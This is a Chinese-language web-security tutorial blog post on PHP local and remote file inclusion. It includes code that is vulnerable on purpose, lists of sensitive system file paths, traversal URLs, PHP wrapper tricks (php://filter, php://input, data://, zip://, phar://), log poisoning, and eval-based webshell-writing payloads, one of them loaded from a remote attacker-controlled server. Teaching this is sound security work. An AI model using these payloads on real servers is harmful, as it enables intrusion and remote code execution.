WEB-文件包含

About WEB Security

文件包含漏洞

文件包含漏洞,通过包含的内容不同区分为本地文件包含和远程文件包含。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

产生漏洞原因

程序员在进行代码书写时,一些重复用到的代码或者函数会被封装起来,作为单独的一个文件,在用到时,使用一些加载函数加载进来。或者是加载某些图片或者是外部的文件,也会用到这些函数。

文件包含涉及到的函数

require
include

这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果”allow_url_fopen”在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。

require_once
include_once

require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

测试案例

<?php
@$f = $_GET['file'];
require($f);
?>
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

windows下的phpstudy或者wamp以及linux下的lamp环境都可以。

本地文件包含漏洞

第一步就是想尽各种办法搜集主机信息了,看看是linux还是windows。比如:

http://www.xxx.com/index.php?page=hello.php

hello.php肯定是不存在的,看看服务器会不会报错,根据报错情况进行判断。windows无非就是D:\www\index.php,linux就是\var\www\html\index.php,,或者是通过抓包,看http请求包或者响应包的内容来进行判断,大致就是这个意思。
windows敏感信息:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

linux敏感信息:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                             mysql配置文件
1.包含本地敏感文件

比如权限够高,可以读取/etc/passwd等敏感文件的内容,或者是通过目录扫描的方式来包含敏感文件。

使用测试案例第一个:

http://www.xxx.com/require.php?page=../../../etc/passwd
2.包含正常文件

文件包含时,当文件是php文件的时候,文件包含会直接执行php文件,如果不是php文件,则会直接读取内容,看内容中有没有php代码,如果有,就把其当作代码去执行,没有就直接把内容展示出来。

基于上面的描述,当出现文件包含漏洞的时候,也可以在网站内找文件上传点,然后通过包含正常的图片,或者包含网站允许上传的文件内容,就可以轻松的getshell。比如上传一个内容如下所示的jgp文件:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>

也可以再加一些16进制的文件头伪装一下,都是不影响脚本执行的。

3.包含日志文件

对WEb服务器发起的每一次请求都会被记录在WEB服务器的日志文件中,所以,当构造请求为:

http://www.xxx.com/<?php @eval($_POST['aa'])?>

日志文件中就会留存这样的一条记录,保存完整的url。之后借助第二条的文件包含漏洞利用方式,把日志文件包含进来,然后服务器发现里面的php代码,就会去执行php代码。这种操作最好在凌晨12点进行,因为刚好服务器的日志会重新简历,日志文件没有那么大,不然会出现很多意想不到的情况。

4.php伪协议

php伪协议内容:

ile:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php伪协议实际上就是支持的协议与封装协议。

4.1 php://filter利用php伪协议以base64加密的方式去读取文件内容
http://www.xxx.com/require.php?page=php://filter/read=convert.base64-encode/resource=config.php

这样就可以读取到一个php文件内容了。

4.2 写入php文件

php://input

这个写入需要一定的条件,当apache的配置选项allow_url_include为on的时候,就是开启这个选项的时候,就可以构造写入文件的pyload进行写入木马:

http://www.xxx.com/index.php?page=php://input
并需要POST过去一个数据:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>

这样,就可以把成功生成一个shell.php文件了。

data:text/plain;
利用 php 的数据协议 data:// 可以查看文件源代码,前提是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on, 当然也可以写入文件:

data:text/plain,<?php phpinfo();?>
data:text/plain;PD9waHAgcGhwaW5mbygpOz8+

这上面其实是一个payload,只不过一个使用了base64加密,一个没有。两个的语法区别在于使用base64加密的,使用分号隔离,没有使用base64加密的使用逗号隔离。

4.3 zip//

这个方法用于,服务器验证上传文件的特定后缀,比如下面这样的:

<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

一种情况是截取文件的后缀名,一种是直接给文件名字后面加上后缀名。两种方式,都可以有效阻止非法文件包含。(有人说00截断,00截断在下篇说)
这时候,就需要使用zip://这样的骚操作了。

先写一个一句话木马的php脚本(脚本内容可以是上面4.2POST过去的数据内容),然后打成压缩包,之后访问:

http://www.xxx.com/index.php?page=zip://var/www/html/php.zip%23shell.php

这样就可以成功实现getshell,不过这种方法有两点需要注意:
1.压缩包文件名字跟压缩包内的脚本文件名中间加一个#号,但#号必须使用URL编码%23
2.必须使用绝对路径

4.4 phar://

首先需要用phar类打一个phar标准包:

<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; 
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg', 
$x); 
?>

然后会生成一个zip文件,这时候构造payload:

http://www.xxx.com/index.php?page=phar://php.zip/shell.php

这时候,就可以尝试getshell了。

(PS:伪协议这个其实好多,下篇再慢慢解释)

远程文件包含

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

远程文件包含的利用方式其实比较单一,只不过远程文件包含的话,包含的东西是在自己可控的公网服务器中,比如公网服务器中存在一个1.txt可以访问的到,1.txt内容如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>

构造payload:

http://www.xxx.com/index.php?page=http://1.1.1.1/1.txt

这样利用php文件包含的特性,就可以在目标服务器中写入webshell了。

小结

关于文件包含,还有一个小技巧没有写上去,下一篇会写上去00截断的一些东西,最近忙于实习工作,都得挤时间写博客啊。最近把自己会的WEB方面的漏洞以及渗透测试的技巧什么的,都写一写,再放一些工具福利什么的。

致谢:

I3m0n-文件包含漏洞

Tomayo’s-zip或phar协议包含文件

配合php协议进行文件包含漏洞

利用php伪协议实现命令执行的七种姿势


Reprint please specify: wh1te WEB-文件包含

Previous
WEB-00截断与%00截断 WEB-00截断与%00截断
About WEB Security 00截断与%00截断在文件上传的时候,经常会遇到对上传文件的后缀名做限制的,有时候用00截断,有时候用%00截断,一直比较懵逼,就在这里做下解释。 %00截断%00的使用是在路径上! %00的使用是
2018-11-21
Next
windows应急响应以及安全巡检 windows应急响应以及安全巡检
About Windows Emergency response Windows1. 日志和记录应用程序日志、系统日志、安全日志;默认情况下,如果系统不对事件做审核则不会生成安全日志。 开始→设置→控制面板→管理工具→事件查看器 Win
2018-10-24
TOC